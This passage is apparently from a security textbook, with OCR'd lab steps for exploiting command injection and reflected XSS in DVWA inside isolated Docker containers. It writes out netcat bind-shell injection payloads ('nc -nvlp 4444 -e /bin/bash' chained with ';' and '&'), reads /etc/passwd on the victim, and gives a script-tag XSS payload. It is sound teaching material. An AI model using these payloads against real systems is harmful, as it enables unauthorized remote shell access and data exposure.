Fig 8.9: Damn Vulnerable Web Application
Now type the default username “admin” in the Username input box and default password
“password” in the Password input box and click the “Login” button to access the Damn

Vulnerable Web Application.

Damn Vulnerable Web App (DVWA) v1.0.7 :: Welcome - Mozilla Firefox (on attacker_1)

@ Damn Vulnerable Wel X | +

<« ¢ @ in @ &

© | & 10.10.10.3/dvwa/index.php a8 - W

[Home |
Instructions

Setup

Brute Force
Command Execution
CSRF

File Inclusion

SQL Injection

SQL Injection (Blind)
Upload

XSS reflected

XSS stored

DVWA Security
PHP Info
About

Logout

Username: admin
Security Level: high
PHPIDS: disabled

7 Kali Linux £ Kali Tools Kali Docs ¥ Kali Forums { Kali NetHunter % Exploit-DB % Google Hacking DB} OffSec

Welcome to Damn Vulnerable Web App!

Damn Vulnerable Web App (DVWA) is a PHP/MySQL web application that is damn vulnerable. Its
main goals are to be an aid for security professionals to test their skills and tools in a legal
environment, help web developers better understand the processes of securing web applications
and aid teachers/students to teach/learn web application security in a class room environment.

WARNING!

Damn Vulnerable Web App is damn vulnerable! Do not upload it to your hosting provider's public
htmi folder or any internet facing web server as it will be compromised. We recommend
downloading and installing onto a local machine inside your LAN which is used solely for
testing.

Disclaimer

We do not take responsibility for the way in which any one uses this application. We have made the
purposes of the application clear and it should not be used maliciously. We have given warnings
and taken measures to prevent users from installing DVWA on to live web servers. If your web

server is compromised via an installation of DVWA it is not our responsibility it is the responsibility
of the person/s who uploaded and installed it.

General Instructions

The help button allows you to view hits/tips for each vulnerability and for each security level on
their respective page.

You have logged in as 'admin’

Fig 8.10

: Home Page of Damn Vulnerable Web Application
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Step 5: Perform Command Injection at Low-Security Level
The default security level of DVWA is high, to set the security level to low, click on the
“DVWA Security” tab, then change the security level to “low” and click the “Submit” button.

Damn Vulnerable Web App (DVWA) v1.0.7 :: DVWA Security - Mozilla Firefox (on attacker_1)

Damn Vulnerable Wel X | 4+

<« c © | & 10.10.10.3/dvwa/security.php B | - pd m o &

™ Kali Linux # Kali Tools [ Kali Docs X Kali Forums (=% Kali NetHunter = Exploit-DB % Google Hacking DB L Offsec

—\

Home DVWA Security @«
Instructions

Setup Script Security

Security Level is currently low.

Brute Force
You can set the security level to low, medium or high.
Command Execution
The security level changes the vulnerability level of DVWA
CSRF
File Inclusion low v Submit
SQL Injection
SQL Injection (Blind) PHPIDS
upload
XSS reflected v.0.6 (PHP-Intrusion Detection System) is a security layer for PHP based web applications.
XSS stored You can enable PHPIDS across this site for the duration of your session.

PHPIDS is currently disabled. [ 1
[ ovwa security [N 1-t 1
PHP Info
About

Logout

Security level set to low

Username: admin
Security Level: low
PHPIDS: disabled

Fig 8.11: Change the Security Level of DVWA to Low

Now click on the “Command Execution” tab. It will open the “Vulnerability: Command
Execution” page showing a user input box to enter an IP address for ping test. Let’s type the

IP address of the victim container and click the “submit” button to do a ping test.

Damn Vulnerable Web App (DVWA) v1.0.7 :: Vulnerability: Brute Force - Mozilla Firefox (on attacker_1)

Damn Vulnerable we! x | +

<« G o @ | & 10.10.10.3/dvwa/vulnerabilities/exec/# B | - w In @O &

) Kali Linux £ Kali Tools [ Kali Docs X Kali Forums @&¥ Kali NetHunter % Exploit-DB ® Google Hacking DB J OffSec

Home Vulnerability: Command Execution
T Ping for FREE
Setup

Enter an IP address below:

‘BruteForce | S
CSRF PING 16.10.10.3 (10.10.10.3) 56(84) bytes of data.
64 bytes from 10.10.10.3: icmp_seq=1 ttl=64 time=0.064 ms
File Inclusion 64 bytes from 10.10.10.3: icmp_seq=2 ttl=64 time=0.062 ms
64 bytes from 10.18.10.3: icmp seq=3 ttl=64 time=0.065 ms
SQL Injection
— - --- 10.10.10.3 ping statistics ---
SQL Injection (Blind) 3 packets transmitted, 3 received, 8% packet loss, time 2028ms
T rtt min/avg/max/mdev = 0.062/0.063/0.065/0.009 ms
XSS reflected
XSS stored More info

DVWA Security
PHP Info
About

Logout
Username: admin View Source | View Help

Security Level: low
PHPIDS: disabled

Fig 8.12: Ping Test to the IP Address of the Victim Container
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Now click on the 'View Source’ button in the bottom right corner of the “Command Execution”

page to see what the application is doing at the low-security level.

Damn Vulnerable Web App (DVWA) v1.0.7 :: Source - Mozilla Firefox (on attacker) — [m|

© | £ 10.10.10.3/dvwa/vulnerabilities/view_source.php?id=exec&security=Ilow +*« hd

Command Execution Source

=?php
if( isset({ $_POST[ 'submit' 1 ) ) {

$target = $_REQUESTI 'ip" 1;

if fstrisfr{phﬁ_uname['s'], "Windows NT' D)) {

scmd = shell_exec( 'ping " . starget );
echo '=pre='.$cmd.'=/pre="';

} else {

scmd = shell_exec( 'ping -c 3 ' . S$target );
echo '=pre='.$cmd.'=/pre="';

Fig 8.13: Low-Security Level Command Execution Source Code

So, the application receives the IP address entered by the user and performs a ping test on the
IP address according to the operating system. However, there is no filtering on the IP address

entered by the user, so it can carry out the command execution vulnerability.

6,99

Let's use the semicolon *“;” command terminator to set up a bind shell on the victim container
using the Netcat tool, which binds to the 4444 port and listens for an incoming connection from

the attacker container.

6,9

The semicolon ““;” command terminator runs the preceding command in the foreground.

Netcat is a program that connects two computers and allows them to read and write data through
an open port. Netcat is frequently used to send and receive files from a compromised computer,

as well as to gain access to the shell/command prompt of a vulnerable host.

Bind Shell is a shell in which the target machine opens up a communication port or a listener
on the victim machine and waits for an incoming connection. The attacker then connects to the
victim machine's listener which then leads to code or command execution on the target

machine.
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Type “10.10.10.3;nc -nvip 4444 -e /bin/bash” on the input box of the “Command Execution”

page and click the “submit” button.

The -n option tells Netcat to suppress name/port resolutions, -v option provides more verbose
output, -l option specifies that Netcat should listen for an incoming connection rather than
initiate a connection to a remote host, -p option specifies the port number, -e option enables

inbound commands to execute in /bin/bash shell.

Damn Vulnerable Web App (DVWA) v1.0.7 :: Vulnerability: Brute Force - Mozilla Firefox (on attacker_1)

= Damn Vulnerable wel X | +

&« X @ © & 10.10.10.3/dvwa/vulnerabilities/exec/ o @ 9 n o ¢

4 Kali Linux # Kali Tools [ Kali Docs i Kali Forums {3 Kali NetHunter % Exploit-DB % Google Hacking DB} Offsec

Home Vulnerability: Command Execution
. Ping for FREE

Setup

Enter an IP address below:

% 10.10.10.3;nc -nvlp 4444 -e /bin/bash submit
[ command Execution |
e | More info
File Inclusion

SQL Injection

SQL Injection (Blind)

Upload

XSS reflected

XSS stored

DVWA Security
PHP Info
About

Logout
Username: admin View Source | View Help
Security Level: low

PHPIDS: disabled

Fig 8.14: Setting Up a Listener at Low-Security Level on the Victim Container

The web page will be stuck in the loading process. Now on the terminal of the attacker
container, click the “+” button at the top left corner, then type “docker exec -it attacker 1
/bin/bash” to start a new interactive shell of the attacker container. Now type “nc -nv 10.10.10.3
4444” and hit “Enter” to get interactive shell access for remote command execution to the

victim container.
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root@attacker_1: /

root@attacker_1: / root@attacker_1: /

docker exec -it attacker_1 /bin/bash

( -[/]
[:_ nc -nv 10.10.10.3 4444
Connection to 10.10.10.3 4444 port [tcp/*] succeeded!

hostname
victim_1

whoami
www-data

uname -a
Linux victim_1 5.11.0-36-generic #40-20.04.1-Ubuntu SMP Sat Sep 18 02:14:19 UTC 2021 xB6_64
GNU/Linux

head -10 Jetc/passwd
root:x:0:0:root:/root: /bin/bash
daemon:x:1:1:daemon: fusr/sbin: /bin/sh
bin:x:2:2:bin:/bin:/bin/sh
:3:sys:/dev:/bin/sh
65534:sync: fbin: /bin/sync
:5:60:games: fusr/games: /bin/sh
:6:12:man: /var/cache/man: /bin/sh
lp:x:7:7:1p: fvarfspool/1lpd: /bin/sh
mail 8:8:mail:/var/mail:/bin/sh
news:x:9:9:news: fvar/spool/news: /bin/sh

Fig 8.15: Connect to the Listener and Run system Commands at Low-Security Level

As the low-security level lacks data filtering, Command injection is easily performed by the

6,9

semicolon *“;” command terminator and exposes the victim container.

Press Ctrl+D to kill the Netcat session.
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Step 6: Perform Command Injection at Medium-Security Level

Click on the “DVWA Security” tab, change the security level to “medium” and click the

“Submit” button.

Damn Vulnerable Web App (DVWA) v1.0.7 :: DVWA Security - Mozilla Firefox (on attacker_1)

[® pamn vulnerable wel x | +
<« c o © | & 10.10.10.3/dvwa/security.php [S ww i @ &

™ Kali Linux £ Kali Tools [ Kali Docs £ Kali Forums &Y Kali NetHunter s Exploit-DB % Google Hacking DB L OffSec

—

Home DVWA Security @
Instructions
Setup Script Security
Security Level is currently medium.
_Brute Force | .
You can set the security level to low, medium or high.
Command Execution
The security level changes the vulnerability level of DVWA.
CSRF
File Inclusion medium v Submit

SQL Injection

SQL Injection (Blind) PHPIDS
upload

xss reflected

s 1 You can enable PHPIDS across this site for the duration of your session.

PHPIDS is currently disabled. [ 1
| ovwa security [N 1-1 |
PHP Info
About

Logout

v.0.6 (PHP-Intrusion Detection System) is a security layer for PHP based web applications.

Security level set to medium

Username: admin
Security Level: medium
PHPIDS: disabled

Fig 8.16: Change the Security Level of DVWA to Medium

Now go to the “Command Execution” page and try to compromise the victim container by

following the steps performed at the low-security level, notice that it’s not working anymore

as the target is now more secure.

Now click on the 'View Source’ button in the bottom right corner of the “Vulnerability:

Command Execution” page to see what the application is doing at the medium-security level.

Damn Vulnerable web App (DVWA) v1.0.7 :: Source - Mozilla Firefox (on attacker) —

@ | & 10.10.10.3/dvwa/vulnerabilities/view source.php?id=ex¢ E  80% see wr

Command Execution Source

=7php
if({ isset{ S POST[ "submit"] ) ) {
Starget = § REQUEST[ '"ip' 1:
S$substitutions = array(
CERT ==
S mm v
|

starget = str_replace( array keys( $substitutions ), %substitutiocms, %target };

if istristriphp_uname("s'}. 'Windows NT'}) {-

$cmd = shell _exec( "ping " . S%target ):
echo '=spre=".$cond. "</pre="';

} else {

%cmd = shell exec( “ping - 3 ' . %target )
echo '=pre=".S$omd. "</pre="';

7=

Fig 8.17: Medium-Security Level Command Execution Source Code
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The source code of the medium-security level only filters two special characters “&&” and ;.
But still, any others can be used to run arbitrary commands directly on the target operating

system.

Let's use the ampersand “&”, command terminator, to set up a bind shell on the victim container
using the Netcat tool, which binds to the 4444 port and will listens for an incoming connection

from the attacker container.
Ampersand “&” command terminator run the preceding command in the background.

Type “10.10.10.3&nc -nvip 4444 -e /bin/bash” on the input box of the “Command Execution”
page and click the “submit” button.

Damn Vulnerable Web App (DVWA) v1.0.7 :: Vulnerability: Brute Force - Mozilla Firefox (on attacker_1)

» Damn Vulnerable Wel X | +

2> X @ © | & 10.10.10.3/dvwa/vulnerabilities/exec/ o m o &

7 Kali Linux § Kali Tools Kali Docs ¥ Kali Forums (& Kali NetHunter # Exploit-DB % Google Hacking DB} OffSec

ome Vulnerability: Command Execution

Ping for FREE

Enter an IP address below:

Brute Force 10.10.10.3&nc -nvlp 4444 -e /bin/bash submit
| command Execution_|
esee | More info

File Inclusion

S5QL Injection

SQL Injection (Blind)

Upload

XSS reflected

XSS stored

DVWA Security
PHP Info
About

Logout
Username: admin View Source | View Help

Security Level: low
PHPIDS: disabled

Setup

Fig 8.18: Setting Up a Listener at Medium-Security Level on the Victim Container

The web page will be stuck in the loading process, on the terminal of the attacker container,
type “nc -nv 10.10.10.3 4444” and hit “Enter” to get interactive shell access for remote

command execution to the victim container.
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root@attacker_1: /

rookt@attacker_1: / root@aktacker_1: /

( -[/]
l—_ nc -nv 10.10.10.3 4444
Connection to 10.10.10.3 4444 port [tcp/*] succeeded!

hostname
victim_1

whoami
www-data

uname -a
Linux victim_1 5.11.0-36-generic #40~20.04.1-Ubuntu SMP Sat Sep 18 02:14:19 UTC 2021 xB86_64
GNU/Linux

head -10 Jetc/passwd

root:x:0:0:root:/root:/bin/bash

daemo :1:daemon: fusr/sbin: /bin/sh
2:bin:/bin: /bin/sh
3:sys:/dev: /bin/sh
:65534:sync: /bin: /bin/sync
5:60:games: fusrfgames: /bin/sh
:12:man: /varfcache/man: /bin/sh
:1lp:/var/spool/lpd: /bin/sh

:mail: /var/mail: /bin/sh
news:x:9:9:news: fvar/spool/news: /bin/sh

Fig 8.19: Connect to the Listener and Run system Commands at Low-Security Level

Though two special characters are black listed in the medium-security level. Command
injection is easily performed by the ampersand “&” command terminator and the victim

container is easily compromised.

Press Ctrl+D to kill the Netcat session.
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Step 7: Perform Command Injection at High-Security Level.
Click on the “DVWA Security” tab, change the security level to “high” and click the “Submit”

button.

Damn Vulnerable Web App (DVWA) v1.0.7 :: DVWA Security - Mozilla Firefox (on attacker_1)

Damn Vulnerable Wel X | 4

&« c o © | £ 10.10.10.3/dvwa/security.php [E T o m o &

7 Kali Linux § Kali Tools Kali Docs ¥ Kali Forums (& Kali NetHunter # Exploit-DB % Google Hacking DB} OffSec

Home DVWA Security @
Instructions

Setup Script Security
Security Level is currently high.
Brute Force
You can set the security level to low, medium or high.
Command Execution
The security level changes the vulnerability level of DVWA.
CSRF
File Inclusion high v Submit
S5QL Injection
SQL Injection (Blind)
PHPIDS
Upload
XSS reflected v.0.6 (PHP-Intrusion Detection System) is a security layer for PHP based web applications.
XSS stored You can enable PHPIDS across this site for the duration of your session.

PHPIDS is currently disabled. [ 1
ovwa security [ It !
PHP Info
About

Logout

Security level set to high

Username: admin
Security Level: high
PHPIDS: disabled

Fig 8.20: Change the Security Level of DVWA to High

Now click on the “Command Execution” tab and try to compromise the victim container by
following the steps performed at the low-security level and the medium-security level, notice

that they are not working anymore as the target is now more secure.

Now, click on the 'View Source’ button in the bottom right-hand corner of the “Vulnerability:

Command Execution” page to see what the application is doing at the high-security level.
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Damn Vulnerable Web App (DVWA) v1.0.7 :: Source - Mozilla Firefox (on attacker)

© | & 10.10.10.3/dvwa/vulnerabilities/view_source.php?id=exec&security=high B so% [

Command Execution Source
=7php
if( isset{ § POST[ 'submit® ] ) ) {

Starget = § REQUEST["ip”];

Starget = stripslashes( $target };

Soctet = explode(".", Starget):

if ((is numeric{$octet[®])) && (is numeric($octet[l])) && (is numeric(Soctet[2])) && (is numeric(Soctet[3])) && (sizeof(Soctet) == 4) | {
Starget = $octet[@].'.'.$octet[1].".'.doctet[2]."." .Soctet[3]:

if (stristriphp uname(‘s'), 'Windows NT'}) {

$cmd = shell exec( 'ping ° . §target )
echo '=spre=".$cmd. "</pre=';
1 else {
$cmd = shell exec( 'ping -c 3 ' . $target )
echo '=spre=".$cmd. "</pre=";
L
H
else {
echo '<pre=ERROR: You have entered an invalid IP</pres';
H
}
=

Fig 8.21: High-Security Level Command Execution Source Code

The source code of the high-security level validates the user’s input, anything other than an IP

address gives the error message “You have entered an invalid IP”.
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Chapter 9
Lab 07 - Analyzing Cross Site Scripting Vulnerability of DVWA

9.1 Overview
This lab exercise explores the Cross-Site Scripting (XSS) vulnerability at different security
levels in the various Cross-Site Scripting (XSS) vulnerability pages of Damn Vulnerable Web

Application (DVWA) running on Metasploitable2.

9.2 Background Information

Cross-Site Scripting (XSS) is a type of computer security vulnerability that is most commonly
found in web applications. An XSS attack occurs when attackers inject malicious scripts into
the content of a targeted website via the website’s input field, which is subsequently delivered
to a victim’s browser as dynamic content. Because the browser has no way of understanding
that the malicious scripts are dangerous, it executes them. The malicious script can read any
cookies, session tokens, or other sensitive information stored by the browser and used by the
website. Also, an attacker can use XSS to deliver malware, modify website content, cause
havoc on social media, and phish for user credentials. Unlike other web attacks, XSS does not
directly target the web application. The web application’s users, on the other hand, are in

danger.

The Damn Vulnerable Web Application (DVWA) is a web application that deliberately
includes security vulnerabilities. The main purpose of the DVWA is to help security
professionals to examine their skills and tools in a legal environment. It helps web developers
to comprehend more accurately the processes of securing web applications. Also, it allows

teachers to teach and students to learn web application security in an isolated environment.
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9.3 Performing the Lab

Step 1: Prepare the Environment of the Experiment
First, start and attach the victim container by opening a GNOME Terminal on the Ubuntu

machine and running the following commands

docker start victim_1

docker attach victim_1

1 csl@csL: ~

:~5 docker start victim 1
victim 1
:~$ docker attach victim_1

root@victim_1:/#

Fig 9.1: Start and Attach the Victim Container

In the victim container, all services are disabled by default. Run the following command in the

terminal of the victim container to start the required services.

services.sh

I+l @victim_1: f

root@victim_1:/# services.sh
* Starting web server apache2
apache2: Could not reliably determine the server's fully qualified domain name,
using 10.10.18.3 for ServerName
OK
* Starting deferred execution scheduler atd (0].4
* Starting periodic command scheduler crond (0].4
Starting distccd
* Starting MysQL database server mysqld (0] 4
* Checking for corrupt, not cleanly closed and upgrade needing tables.
Configuring network interfaces...
Starting portmap daemon...
Starting Postfix Mail Transport Agent postfix
Starting PostgreSQL 8.3 database server
Starting ftp server proftpd
Starting Samba daemons
starting network management services: snmpd.
snmpd[715]: error finding row index in _ifXTable_container_row_restore

* Starting OpenBSD Secure Shell server sshd

* Starting system log daemon...

* Starting Tomcat servlet engine tomcat5.5

* Starting internet superserver xinetd

* Doilng Wacom setup...

* Running local boot scripts (/etc/rc.local)
nohup: appending output te "nohup.out’
nohup: appending output toe “nohup.out’

root@victim_1:/# I

Fig 9.2: Start Necessary Services of the Victim Container
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Open another GNOME Terminal in the ubuntu machine and run the following commands to

start and attach the attacker container

docker start attacker_1

docker attach attacker_1

1 csl@csL: ~

docker start attacker_1

attacker _:

|

docker attach attacker 1

Fig 9.3: Start and Attach the Attacker Container

Step 2: Get the Network Information of the Attacker Container
Run the “ifconfig” command from the terminal of the attacker container to obtain the IP address

of the attacker container.

root@attacker_1: /

oor@® -1
ifconfig

etho: flags=4163<UP,BROADCAST ,RUNNING,MULTICAST>= mtu 1500
inet 10.18.10.2 netmask 255.255.255.248 broadcast 10.10.108.7
ether 02:42:0a:0a:0a:02 txqueuelen @ (Ethernet)
RX packets 44 bytes 6014 (5.8 KiB)
RX errors @ dropped ® overruns @ frame 0
TX packets ® bytes @ (0.0 B)
TX errors 8 dropped @ overruns @ carrier & collisions @

Fig 9.4: IP Address of the Attacker Container

To determine the gateway of the attacker container, run the “route -n” command.

root@attacker_1: /

(oo @ -[/]
[:_ route -n

Kernel IP routing table

Destination Gateway Genmask Flags Metric Ref Use Iface
0.0.0.0 10.16.10.1 0.0.0.0 UG (0] 0 0 ethoe
10.10.10.0 0.0.0.0 255.255.255.248 U 0 0 0 ethoe

Fig 9.5: Gateway of the Attacker Container
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The IP address of the attacker container is 10.10.10.2, which belongs to the 10.10.10.0/29
network, and its gateway is 10.10.10.1.

Step 3: Scanning Available Hosts
In the terminal of the attacker container, run a Nmap ping scan on the “10.10.10.0/29” network

to show the available hosts of the network.

root@attacker_1: /

(oo @ -[/]
[:_ nmap -sn 10.10.160.0/29
Starting Nmap 7.91 ( https://nmap.org ) at 2821-09-26 05:18 UTC
Nmap scan report for CSL (10.10.18.1)
Host is up (0.000091s latency).
MAC Address: ©2:42:C8:19:D6:91 (Unknown)
Mmap scan report for victim_1.vulnet (10.10.18.3)
Host is up (©.000827s latency).
MAC Address: 02:42:0A:0A:0A:03 (Unknown)
Mmap scan report for attacker 1 (10.10.18.2)
Host is up.
Nmap done: B IP addresses (3 hosts up) scanned in 1.64 seconds

Fig 9.6: Available Hosts in the Network

According to the ping scan report, the following three hosts are available on the
“10.10.10.0/29” network.

e 10.10.10.1 is the gateway of the “10.10.10.0/29” network.
e 10.10.10.2 is the attacker container.

e 10.10.10.3 is the victim container.
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Step 4: Access the Damn Vulnerable Web Application (DVWA)

In the terminal of the attacker container, type “firefox” and hit “Enter” to launch the Firefox

browser.

firefox

Kali Linux - Mozilla Firefox (on attacker_1)

Kali Linux 3 [
c ® @ file:///usr/share/kali-defaults/web/homepage.html - O W% m o & =

) Kali Linux # Kali Tools Kali Docs XX Kali Forums X Kali NetHunter ® Exploit-DB % Google Hacking DB J OffSec

KAH H KALILINUX TOOLS DOCUMENTATION FORUMS BUGTRACKER OFFENSIVE SECURITY I

Welcome to Kali Linux

The Industry's Most Advanced Penetration Testing Distribution

Now that you have successfully downloaded Kali Linux, here are some good resources to help
you get started.

Fig 9.7: Firefox Browser Running on the Attacker Container

Type the IP address of the victim container in the Firefox browser and hit “Enter” to access the

Metasploitable2 web server.

Metasploitable2 - Linux - Mozilla Firefox (on attacker_1) - o
Metasploitable2 - Linux % | +
c @ © % 10.10.10.3 - w5 n o & =

5 Kali Linux @ Kali Tools Kali Docs ¥ Kali Forums ¥ Kali NetHunter & Exploit-DB % Google Hacking DB} Offsec

Warning: Never expose this VM to an untrusted network!
Contact: msfdev[atlmetasploit.com

Login with msfadmin/msfadmin to get started

o TWiki

« phpMyAdmin
« Mutillidae

* DVWA

« WebDAV

Fig 9.8: Metasploitable2 Web Server
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Click “DVWA” to open the Damn Vulnerable Web Application page.

Damn Vulnerable Web App (DVWA) - Login - Mozilla Firefox (on attacker_1) - 0 x
x |+

© | & 10.10.10.3/dvwa/login.php

Damn Vulnerable Web 2
R -

™ Kali Linux 8 Kali Tools [ Kali Docs ¥ Kali Forums & Kali NetHunter % Exploit-DB % Google Hacking DB L OffSec

N o & =

)
DV{IWA

Username

Password

Login

Fig 9.9: Damn Vulnerable Web Application

Now type the default username “admin” in the Username input box and default password
“password” in the Password input box and click the “Login” button to access the Damn

Vulnerable Web Application.

Damn Vulnerable Web App (DVWA) v1.0.7 :: Welcome - Mozilla Firefox (on attacker_1)

[ pamn Vulnerable Wel X | +

€« ¢ @ n @ &

@

© | & 10.10.10.3/dvwa/index.php B

[Home |
Instructions

Setup

Brute Force
Command Execution
CSRF

File Inclusion

SQL Injection

SQL Injection (Blind)
Upload

XSS reflected

XSS stored

DVWA Security
PHP Info
About

Logout

Username: admin
Security Level: high
PHPIDS: disabled

7 Kali Linux £ Kali Tools Kali Docs ¥ Kali Forums { Kali NetHunter % Exploit-DB % Google Hacking DB} OffSec

Welcome to Damn Vulnerable Web App!

Damn Vulnerable Web App (DVWA) is a PHP/MySQL web application that is damn vulnerable. Its
main goals are to be an aid for security professionals to test their skills and tools in a legal
environment, help web developers better understand the processes of securing web applications
and aid teachers/students to teach/learn web application security in a class room environment.

WARNING!

Damn Vulnerable Web App is damn vulnerable! Do not upload it to your hosting provider's public
html folder or any internet facing web server as it will be compromised. We recommend
downloading and installing onto a local machine inside your LAN which is used solely for
testing.

Disclaimer

We do not take responsibility for the way in which any one uses this application. We have made the
purposes of the application clear and it should not be used maliciously. We have given warnings
and taken measures to prevent users from installing DVWA on to live web servers. If your web
server is compromised via an installation of DVWA it is not our responsibility it is the responsibility
of the person/s who uploaded and installed it.

General Instructions

The help button allows you to view hits/tips for each vulnerability and for each security level on
their respective page.

You have logged in as 'admin’

Fig 9.10

: Home Page of Damn Vulnerable Web Application
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Step 5: Perform Reflected XSS Attack at Different Security Level
Reflected XSS occurs when a web application reflects user-supplied data into the browser
window without filtering or sanitization. Due to the lack of filtering or sanitization, an attacker
can inject malicious script. This malicious script could be a legitimate XSS payload. The
inserted malicious script is not stored on the webserver. To persuade a user to run the script, an

attacker needs to direct him to the URL of the compromised web application.

Let’s demonstrate the Reflected XSS Attack at different security levels on the Damn

Vulnerable Web Application (DVWA) running on Metasploitable2.

Low-security Level

The default security level of DVWA is high. To set the security level to low, click on the
“DVWA Security” tab, then change the security level to “low” and click the “Submit” button.

Damn Vulnerable Web App (DVWA) v1.0.7 :: DVWA Security - Mozilla Firefox (on attacker_1)

Damn Vulnerable wel X | 4

<« c @ © | & 10.10.10.3/dvwa/security.php B | e r mn o &

3 Kali Linux @ Kali Tools Kali Docs ¥ Kali Forums (& Kali NetHunter # Exploit-DB % Google Hacking DB} OffSec

Home DVWA Security &
Instructions

Setup Script Security
Security Level is currently low.
Brute Force
You can set the security level to low. medium or high.
Command Execution
The security level changes the vulnerability level of DVWA.
CSRF
File Inclusion low v Submit
SQL Injection
SQL Injection (Blind)
PHPIDS
Upload
XSS reflected v.0.6 (PHP-Intrusion Detection System) is a security layer for PHP based web applications.
XSS stored You can enable PHPIDS across this site for the duration of your session.

PHPIDS is currently disabled. [ 1
=== ] | 11 1
PHP Info
About

Logout

Security level set to low

Username: admin
Security Level: low
PHPIDS: disabled

Fig 9.11: Change the Security Level of DVWA to Low

Now click on the “XSS reflected” tab. It will open the “Vulnerability: Reflected Cross Site
Scripting (XSS)” page asking “What's your name?”. Let’s type a random name (e.g., Reflected

XSS) in the input box and click the “Submit” button to see how the website reacts.
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Damn Vulnerable Web App (DVWA) v1.0.7 :: Vulnerability: Reflected Cross Site Scripting (X5S) - Mozilla Firefox (on attacker_1) — o

[® Damn Vulnerable wet X | +
<« [ ) © | & 10.10.10.3/dvwa/vulnerabilities/xss_r/?name=Reflected+XSS# e b g i o &

™ Kali Linux & Kali Tools Kali Docs ¥ Kali Forums (& Kali NetHunter w Exploit-DBE % Google Hacking DB} OffSec

Home &gg?rability: Reflected Cross Site Scripting

Instructions

What's your name?

% Submit
w Hello Reflected XSS
[T
 SOL Injection | More info
Upload |

XSS reflected |
xsSstored |

DVWA Security
PHP Info
About

Logout
Username: admin View Source | View Help

Security Level: low
PHPIDS: disabled

Fig 9.12: Reflected Cross Site Scripting Test 1

The web page reflects the user’s input, saying “Hello Reflected XSS”. Now click on the “View

Source” button in the bottom right corner of the “Vulnerability: Reflected Cross Site Scripting

(XSS)” page to see what the application is doing at the low-security level.

Damn Vulnerable Web App (DVWA) v1.0.7 :: Source - Mozilla Firefox (on attacker_1) — m|

© 4 10.10.10.3/dvwa/vulnerabilities/view_source.php?id=xss_r&security= s+ w

Reflected XSS Source

=?php

if(larray key exists ("name”, $ GET) || $ GET['name'] == NULL || % GET['name’'] == ""){
Sisempty = true;

} else {

echo '=pre="';

echo 'Hello ' . % GET['name'];
echo '=/pre=';

=

Compare

Fig 9.13: Low-Security Level Reflected XSS Source Code
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The application accepts the user’s input and checks whether the name parameter is empty and
if it is not empty the application prints the user input the same way it was entered in the input

field without performing any sanitization.

Let’s examine what happens if simply inject some JavaScript into the input field. Type the

following payload input field and click the “Submit” button.

<script>alert("Reflected XSS Test")</script>

Damn Vulnerable Web App (DVWA) v1.0.7 :: Vulnerability: Reflected Cross Site Scripting (XSS) - Mozilla Firefox (on attacker_1) - O

+  Damn Vulnerable Wet X | +

6 X @ © & 10.10.10.3/dvwa/vulnerabilities/xss r/?name=<script>alert("Reflectc == & ¥ n o & =

™ Kali Linux #® Kali Tools [ Kali Docs R¥ Kali Forums &Y Kali NetHunter # Exploit-DB % Google Hacking DB J OffSec

Reflected XSS Test

Read 10.10.10.3

Fig 9.14: Reflected Cross-Site Scripting Test 2

A popup window saying “Reflected XSS Test” appears on the web page. Press “CTRL+U” to
see the HTML source script of the web page. Now find “Reflected XSS Test” and see how the
browser processes the <script> tag and execute the JavaScript script.
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http:/f10.10.10.3/dvwa/vulnerabilities/xss_r/Tname=%3Cscript%3Ealert%28%22Refle... — O

» Damn Vulnerable wel X | http://10.10.10.3/dvwa/v X | +

¢ @ # view-source:http://10.10.10.3/dvwa/ == w In @ & =
™ Kali Linux # Kali Tools B Kali Docs ¥ Kali Forums {3 Kali NetHunter = Exploit-DB >
</div>
</div=>

<div id="main body">

<div class="body padded"=>
<hl=Vulnerability: Reflected Cross Site Scripting (XSS)=/hls

<div class="vulnerable code area"=

<form name="X55" action="#" method="GET">
<p=What's your name?</p=
<input type="text" name="name"=
<input type="submit" value="Submit"=>

</form>
<presHello <script=alert (" [HiEEt ECEITE " ) </script=</pre> I
</div=

<h2=More info</h2=>

<ul>
[ ]

Reflected X5S Test A~ |~ | Highlight All Match Case Match Diacritics Whole Words

Fig 9.15: Low-Security Level Reflected XSS HTML Source Code
As a web browser can execute any tag which is passed to it that’s why the alert box appears on
the screen after the execution of the “alert()” function inside the “<script>" tag. This implies
that the web page is vulnerable to reflected XSS, which means that any malicious script entered

in the input field will be executed.
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Medium-security Level

To exploit Reflected XSS at medium-security level, click on the “DVWA Security” tab, then

change the security level to “medium” and click the “Submit” button.

Damn Vulnerable web App (DVWA) v1.0.7 :: DVWA Security - Mozilla FireFox (on attacker_1)

B pDamn Vulnerable Web X | +
<« [ © & 10.10.10.3/dvwa/security.php [S o mw o &

7 Kali Linux #9 Kali Tools [ Kali Docs £ Kali Forums &Y Kali NetHunter s Exploit-DB % Google Hacking DB L OffSec

—3

Home DVWA Security &
Instructions

Setup

Script Security
Security Level is currently medium.
Brute Force
You can set the security level to low. medium or high
Command Execution
The security level changes the vulnerability level of DVWA.
CSRF
File Inclusion medium ~ Submit
SQL Injection
SQL Injection (Blind)
PHPIDS
upload
ey v.0.6 (PHP-Intrusion Detection System) is a security layer for PHP based web applications.
XSS 1 You can enable PHPIDS across this site for the duration of your session.

PHPIDS is currently disabled. [ 1
[ ovwa security [ 1-1 |
PHP Info
About
Security level set to medium

Logout

username: admin
Security Level: medium
PHPIDS: disabled

Fig 9.16: Change the Security Level of DVWA to Medium

Now, go to the "XSS reflected” tab and try to exploit the web page with the JavaScript script
that was used at the low-security level. But no pop-up window appears this time. Now click on
the “View Source” button in the bottom right corner of the “Vulnerability: Reflected Cross Site

Scripting (XSS)” page to see what the application is doing at the medium-security level.

Damn Vulnerable web App (DVWA) v1.0.7 :: Source - Mozilla Firefox (on attacker_1) — ]

© | & 10.10.10.3/dvwa/vulnerabilities/view_source.php?id=xss_r&security=m * o

Reflected XSS Source

<?php

if(larray_key _exists ("name", $_GET) || % GET['mame'] == NULL || $ GET['name'] == ""){
Sisempty = true;

} else {
echo '<pre="';
echo 'Hello ' . str_replace('<script=', '', $_GET['name']);

echo '</pre>"';

}

7=

Compare

Fig 9.17: Medium-Security Level Reflected XSS Source Code
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The medium-security level’s source script includes filtering for the “<script>" tag. To see how
the browser handles the input, press “CTRL+U” and find “Reflected XSS Test”.

http://10.10.10.3/dvwafvulnerabilities/xss_r/?name=%3Cscript%3Ealert%28%22Refle... - O

B Damn Vulnerable Wel X | http://10.10.10.3/dvwa/v X | +

C o # view-source:http://10.10.10.3/dvwa/ +*- g n @ & =

™ Kali Linux @ Kali Tools [ Kali Docs X Kali Forums & Kali NetHunter = Exploit-DB >
=/div=
</div>
<div id="main body"=>
